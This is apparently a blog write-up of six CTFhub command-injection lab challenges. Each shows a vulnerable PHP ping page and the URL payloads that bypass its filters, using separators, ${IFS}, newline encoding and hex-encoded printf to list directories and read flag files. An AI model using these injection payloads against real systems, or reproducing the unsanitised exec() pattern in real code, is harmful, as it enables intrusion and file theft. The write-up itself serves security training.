CTFhub——命令执行

NO.1 无过滤注入

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

代码中没有任何过滤

?ip=|cat 307092239529587.php //flag在网页源代码中

在这里插入图片描述

NO.2 过滤cat

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的显示文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f
先ls查看目录
发现存在flag_313911065126325.php
获取flag即可
?ip=|tac flag_313911065126325.php

flag在网页源代码中
在这里插入图片描述

NO.3 过滤空格

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

空格过滤掉,我们得想办法用其它符号代替空格即可

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格 

?ip=|ls //查看当前目录
在这里插入图片描述

?ip=|cat${IFS}flag_7868204008268.php#   //获取flag

在这里插入图片描述

NO.4 过滤目录分隔符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这里过滤掉 “” 和 “/”
首先还是查看目录
;ls
发现
flag_is_here
index.php

进入flag_is_here 再次查看目录
?ip=;cd flag_is_here;ls#

发现
flag_24072605330316.php

获取flag

?ip=;cd flag_is_here;cat flag_24072605330316.php#

在这里插入图片描述

NO.5 过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这里过滤掉了 | & 运算符 直接用 ; 代替即可

在这里插入图片描述

?ip=;cat flag_228482899822968.php#

在这里插入图片描述

NO.6 综合过滤练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这里过滤的东西很多:
|| & ; | cat flag ctfhub \ / 空格
这里我用换行符替换 运算符
换行符%0a
回车符%9d

在这里插入图片描述

?ip=%0als //查看当前目录,发现flag_is_here

//进入flag_is_here
?ip=%0Acd flag_is_here//但是因为过滤了flag字样,所有我们无法进入。因此用16进制替换字符串

?ip=%0Als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")# //查看flag_is_here目录下的文件

在这里插入图片描述

?ip=%0Atac${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x31\x32\x32\x35\x31\x33\x37\x39\x36\x38\x36\x39\x37\x2e\x70\x68\x70") //获取flag

//printf${IFS}后面是16进制编码的flag_in_here/flag_21225137968697.php

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值